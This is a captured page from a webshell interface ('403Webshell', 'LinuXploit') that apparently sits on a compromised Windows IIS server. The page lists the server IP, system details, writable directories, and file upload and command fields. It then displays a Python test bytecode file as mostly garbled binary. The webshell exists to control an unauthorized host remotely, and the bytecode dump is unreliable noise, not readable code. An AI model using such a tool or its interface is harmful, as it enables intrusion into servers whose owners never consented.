403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_json/__pycache__/test_float.cpython-312.opt-2.pyc
�

���g4��`�ddlZddlmZmZGd�d�ZGd�dee�ZGd�dee�Zy)	�N)�PyTest�CTestc�$�eZdZd�Zd�Zd�Zd�Zy)�	TestFloatc�0�dtjtjdztjdzdfD]\}|jt|j	|��|�|j|j|j	|��|��^y)Ng���A�di����g������@)�math�pi�assertEqual�float�dumps�loads��self�nums  �.C:\Python312\\Lib\test\test_json\test_float.py�test_floatszTestFloat.test_floatssj��&�������#��t�w�w��}�c�R�C����U�4�:�:�c�?�3�S�9����T�Z�Z��
�
�3��8�#�>�S�c��dD]V}|j|j|�t|��|jt|j|��|��Xy)N)�ll)rr
�str�intrs  r�	test_intszTestFloat.test_intssE��$�C����T�Z�Z��_�c�#�h�7����S����C��1�3�7�%rc��|j|jd�td�g�|j|jd�td�g�y)Nz[23456789012E666]�infz[-23456789012E666]�-inf)rrr)rs r�test_out_of_rangezTestFloat.test_out_of_rangesB��������$7�8�5��<�.�I�������$8�9�E�&�M�?�Krc��td�td�td�fD]�}|j|g�}||k(r#|j|j|�|g�nD|j|�}|jt	|�d�|j|d|d�d|��}|j
t||j|gd����y)	Nrr�nanrrz2Out of range float values are not JSON compliant: F)�	allow_nan)rr
rr�len�assertNotEqual�assertRaisesRegex�
ValueError)r�val�out�res�msgs     r�test_allow_nanzTestFloat.test_allow_nans����%�L�%��-��u��>�C��*�*�c�U�#�C��c�z�� � ����C��3�%�8��j�j��o��� � ��S��1�-��#�#�C��F�C��F�3�F�s�e�L�C��"�"�:�s�D�J�J���QV�"�W�?rN)�__name__�
__module__�__qualname__rrrr)�rrrrs��?�
8�
L�
Xrrc��eZdZy)�TestPyFloatN�r*r+r,r-rrr/r/!��rr/c��eZdZy)�
TestCFloatNr0r-rrr3r3"r1rr3)r	�test.test_jsonrrrr/r3r-rr�<module>r5s-���(�X�X�8+�)�V�*�(��E�(r

Youez - 2016 - github.com/yon3zu
LinuXploit